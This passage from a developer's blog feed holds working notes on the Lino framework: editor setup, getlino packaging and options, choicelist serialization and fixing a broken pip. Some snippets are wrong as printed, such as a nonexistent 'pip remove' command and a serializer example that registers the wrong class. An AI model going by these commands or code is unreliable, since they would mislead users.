&lt;p&gt;But also in my &lt;a class="reference external" href="https://atelier.lino-framework.org/usage.html#xfile-.invoke.py" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.invoke.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;editor_command&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;atom&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Afterwards I removed above line and changed &lt;a class="reference external" href="https://atelier.lino-framework.org/index.html#atelier" title="(in atelier v1.1)"&gt;&lt;span&gt;Atelier&lt;/span&gt;&lt;/a&gt; so that the default
value for the &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/config.html#envvar-editor_command" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;editor_command&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; setting is now taken from the
&lt;span class="target" id="index-1"&gt;&lt;/span&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;EDITOR&lt;/span&gt;&lt;/code&gt; environment variable.&lt;/p&gt;
&lt;p&gt;One problem was that &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-blog" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;blog&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; did’t  start the editor. Seems that atom
doesn’t like the &lt;cite&gt;pty=True&lt;/cite&gt;. The problem disappeared when I removed this
argument in &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier.invlib.edit_blog_entry()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But when I ask &lt;kbd class="kbd docutils literal notranslate"&gt;Ctrl&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;Alt&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;G&lt;/kbd&gt; (Goto definition) it says “python-tools could
not find any results!”. Tried to install jedi.  Tried to set my virtualenv in
the package’s settings. Then the problem vanished without explanation.&lt;/p&gt;
&lt;p&gt;Cool: No need to find a plugin for reflowing a paragraph: &lt;kbd class="kbd docutils literal notranslate"&gt;Shift&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;Ctrl&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;Q&lt;/kbd&gt;.
And, unlike the fill-paragraph in PyCharm it indents bullet lists (Paragraphs
starting with “- “) correctly.&lt;/p&gt;
&lt;p&gt;But I prefer &lt;kbd class="kbd docutils literal notranslate"&gt;Alt&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;Q&lt;/kbd&gt;. So I defined my first key binding: &lt;kbd class="kbd docutils literal notranslate"&gt;Cltr&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;,&lt;/kbd&gt; to
open the settings, select Keybindings, search for “reflow”, copy it to the
clipboard, pasted it to my  &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.atom/keymap.cson&lt;/span&gt;&lt;/code&gt; and modified it to
&lt;cite&gt;alt-q&lt;/cite&gt;. Attention pitfall: not &lt;cite&gt;alt-Q&lt;/cite&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="testing-getlino"&gt;
&lt;h2&gt;Testing getlino&lt;a class="headerlink" href="#testing-getlino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;It is time to start testing getlino.
I added test a suite and a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.travis.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.travis.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file.&lt;/p&gt;
&lt;p&gt;But I don’t yet see how we can create virgin debian machines and then install
Lino on them. Dockerfiles? Heroku apps?&lt;/p&gt;
&lt;/section&gt;
&lt;section id="how-to-serialize-choicelist"&gt;
&lt;h2&gt;How to serialize choicelist&lt;a class="headerlink" href="#how-to-serialize-choicelist" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In a Django shell I can do:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TicketStates&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.core.choicelists&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Choice&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.db.migrations.serializer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BaseSerializer&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.db.migrations.writer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;MigrationWriter&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;ChoiceSerializer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BaseSerializer&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;serialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;rt.models.&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;choicelist&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;app_label&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;choicelist&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;from lino.api.shell import rt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;MigrationWriter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;register_serializer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Decimal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DecimalSerializer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0729.html</guid><pubDate>Mon, 29 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Sunday, July 28, 2019</title><link>https://luc.lino-framework.org/blog/2019/0728.html</link><description>&lt;section id="sunday-july-28-2019"&gt;
&lt;h1&gt;Sunday, July 28, 2019&lt;a class="headerlink" href="#sunday-july-28-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="getlino-now-without-py"&gt;
&lt;h2&gt;Getlino now without &lt;cite&gt;*.py&lt;/cite&gt;&lt;a class="headerlink" href="#getlino-now-without-py" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I created &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3139"&gt;#3139&lt;/a&gt; and worked on it. Note that when you installed getlino
with &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;-e&lt;/span&gt;&lt;/code&gt;, you must reinstall it after pulling this version to your local
copy.  See &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Until now, we had to type “getlino.py …” which is less beautiful than
“getlino …”.  This was because we used the &lt;cite&gt;scripts&lt;/cite&gt; argument in
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-setup.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  I changed it to use &lt;cite&gt;entry_points&lt;/cite&gt;. See &lt;a class="reference external" href="https://python-packaging.readthedocs.io/en/latest/command-line-scripts.html"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Another advantage is that now we can write doctests about getlino. For example:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;getlino.utils&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;APPNAMES&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;APPNAMES&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[&amp;#39;noi&amp;#39;, &amp;#39;voga&amp;#39;, &amp;#39;cosi&amp;#39;, &amp;#39;avanti&amp;#39;, &amp;#39;amici&amp;#39;, &amp;#39;presto&amp;#39;, &amp;#39;weleup&amp;#39;, &amp;#39;welcht&amp;#39;, &amp;#39;min2&amp;#39;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This advantage, however, is for later because currently we want the book test
suite to pass also on Python 2.&lt;/p&gt;
&lt;p&gt;More advantages will come:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;we can write unit tests in the getlino repo, and we can probably get travis
to setup complete production servers. We should take care to run those tests only
on a virtual machine on travis, not on the machine of a developer.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://click.palletsprojects.com/en/5.x/testing/"&gt;http://click.palletsprojects.com/en/5.x/testing/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;we can now use jinja templates in separate files for generating files.
Especially for the bash_aliases this will be handy because there we will need
more than Python’s basic string formatting.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;test the &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-webdav" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--webdav&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Maybe we don’t want LDAP in getlino : &lt;a class="reference external" href="https://redfern.me/ldap-auth-with-django/"&gt;https://redfern.me/ldap-auth-with-django/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://django-auth-ldap.readthedocs.io/en/latest/"&gt;django-auth-ldap&lt;/a&gt; might even work
OOTB for Lino.  Otherwise we can get at least inspiration from it.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="all-those-pips"&gt;
&lt;h2&gt;All those pips!&lt;a class="headerlink" href="#all-those-pips" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I had a problem on my machine: the following didn’t work though I have
python3-pip installed (and though it had been working some time ago):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo pip3 install -e .
sudo: pip3: command not found
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I must say that I previously ran:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo pip install -U pip
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;That is, I asked the system-wide pip2 to upgrade itself.  Maybe this caused
things to break. Anyway, I fixed the problem by uninstalling both system-wide
pips and re-installing just pip3:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo pip remove python-pip python3-pip
$ sudo pip install python3-pip
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Note that I also have a pip installed in my default Python environment:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ which pip
/home/luc/dell1tb/virtualenvs/py3/bin/pip
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I uninstalled it using  &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;pip&lt;/span&gt; &lt;span class="pre"&gt;uninstall&lt;/span&gt; &lt;span class="pre"&gt;pip&lt;/span&gt;&lt;/code&gt; because I thought “maybe the
system-wide pip alse works for the currently active environment”.  But nope.
Yes, the uninstall worked, but it left me with a virtualenv without pip.
Saying “pip” now meant that I want to install the system-wide Python:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ which pip
/usr/local/bin/pip
luc@doll:~/work/blog$ which pip3
/usr/bin/pip3
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I had to &lt;a class="reference external" href="https://pip.pypa.io/en/stable/installing/"&gt;read the docs&lt;/a&gt;  and
install pip again into my default environment.  virtualenv automatically
installs pip into every new virgin environment.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="getlino-documentation"&gt;
&lt;h2&gt;Getlino documentation&lt;a class="headerlink" href="#getlino-documentation" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I reviewed the &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt; page and renamed &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--prod&lt;/span&gt;&lt;/code&gt; to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--asroot&lt;/span&gt;&lt;/code&gt;
because this seems to say more accurately what does. If you don’t specify this
option, getlino will not touch any system-wide settings, write only to your user
config file, startsite will not install an nginx config file. Basically you can
install a full development machine when you don’t specify &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--asroot&lt;/span&gt;&lt;/code&gt;
(exception: some system packages are required if you want to build the docs or
run the test suite, but getlino will issue a warning which lists them).&lt;/p&gt;
&lt;p&gt;I pushed my changes but did not test very thoroughly.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0728.html</guid><pubDate>Sun, 28 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Saturday, July 27, 2019</title><link>https://luc.lino-framework.org/blog/2019/0727.html</link><description>&lt;section id="saturday-july-27-2019"&gt;
&lt;h1&gt;Saturday, July 27, 2019&lt;a class="headerlink" href="#saturday-july-27-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="webdav-support"&gt;
&lt;h2&gt;WebDAV support&lt;a class="headerlink" href="#webdav-support" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I pushed my work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3036"&gt;#3036&lt;/a&gt;. Summary of the changes:&lt;/p&gt;
&lt;p&gt;I added a new option &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-webdav" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--webdav&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; which causes the nginx conf file to have
a webdav location.&lt;/p&gt;
&lt;p&gt;I reviewed the docs (&lt;a class="reference external" href="https://hosting.lino-framework.org/webdav/#webdav" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;WebDAV&lt;/span&gt;&lt;/a&gt;, &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The default value for &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-repos-base" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--repos-base&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is now an empty string.&lt;/p&gt;
&lt;p&gt;Running &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; on a server with a shared env (i.e. a
non-empty value for &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-shared-env" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--shared-env&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) must never update existing packages
in a shared env, but it should add new repositories. We don’t want one site to
potentially break the shared environment. But automatically adding new
repositories is handy when setting up a development environment.&lt;/p&gt;
&lt;p&gt;If you have a shared-env but an empty repositories-root, Lino
will install new repositories below the shared env (root path is built by
appending &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-env-link" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--env-link&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to the shared env).&lt;/p&gt;
&lt;p&gt;You can have an empty shared-env and a non-empty repositories-root. The new
site has its own env, but uses repositories from your work directories. Useful
on a development machine.&lt;/p&gt;
&lt;p&gt;New option &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-local-prefix" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--local-prefix&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; which defaults to ‘lino_local’. This is the
top-level package name for importable code. On a server with
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/usr/local/lino/&lt;/span&gt;&lt;/code&gt; as &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-sites-base" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--sites-base&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  we will have the
following layout:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mysite1&lt;/span&gt;      &lt;span class="c1"&gt;# a the mysite1 project&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;  &lt;span class="c1"&gt;# server-wide default settings&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The projects-root will be added to the &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;PYTHON_PATH&lt;/span&gt;&lt;/code&gt; when a project
runs. The &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; of a new site says &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;from&lt;/span&gt; &lt;span class="pre"&gt;lino_local.settings&lt;/span&gt;
&lt;span class="pre"&gt;import&lt;/span&gt; &lt;span class="pre"&gt;*&lt;/span&gt;&lt;/code&gt;, and the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/files.html#xfile-manage.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;manage.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; sets &lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;DJANGO_SETTINGS_MODULE&lt;/span&gt;&lt;/code&gt;
to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;'lino_local.mysite1.settings'&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The “project directory” of a project “mysite1” is now
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/usr/local/lino/lino_local/mysite1&lt;/span&gt;&lt;/code&gt; (no longer
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/usr/local/lino/mysite1&lt;/span&gt;&lt;/code&gt;).  If you want to preserve your existing sites,
you must say something like this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cd /usr/local/lino/lino_local
$ mkdir lino_local
$ mv mysite1 lino_local/
$ mv shared/*.py lino_local/
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The default for &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-shared-env" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--shared-env&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is an empty string, which means that new
sites will get their own environment.  This is the normal case on a production
server.&lt;/p&gt;
&lt;p&gt;Why do we have an option &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-repos-base" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--repos-base&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;? Can’t we simply say
that this is always built from &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-shared-env" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--shared-env&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; by appending
&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-env-link" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--env-link&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;?  Because on a development machine you may have e.g.:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;projects_root&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;
&lt;span class="n"&gt;repositories_root&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dell1tb&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;
&lt;span class="n"&gt;shared_env&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dell1tb&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;virtualenvs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py3&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I merged KNOWN_LIBS and KNOWN_APPS.&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;The lino_*.js files generated by nginx for the first request are not group
writable. Which means that umask is not set correctly for the nginx service.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;rename projects-root to sites-root and project_dir to site_dir (Django calls
them “projects” but we call them “sites”).  A “Lino project” is definitively
not the same as a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-Lino-site" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;Lino site&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
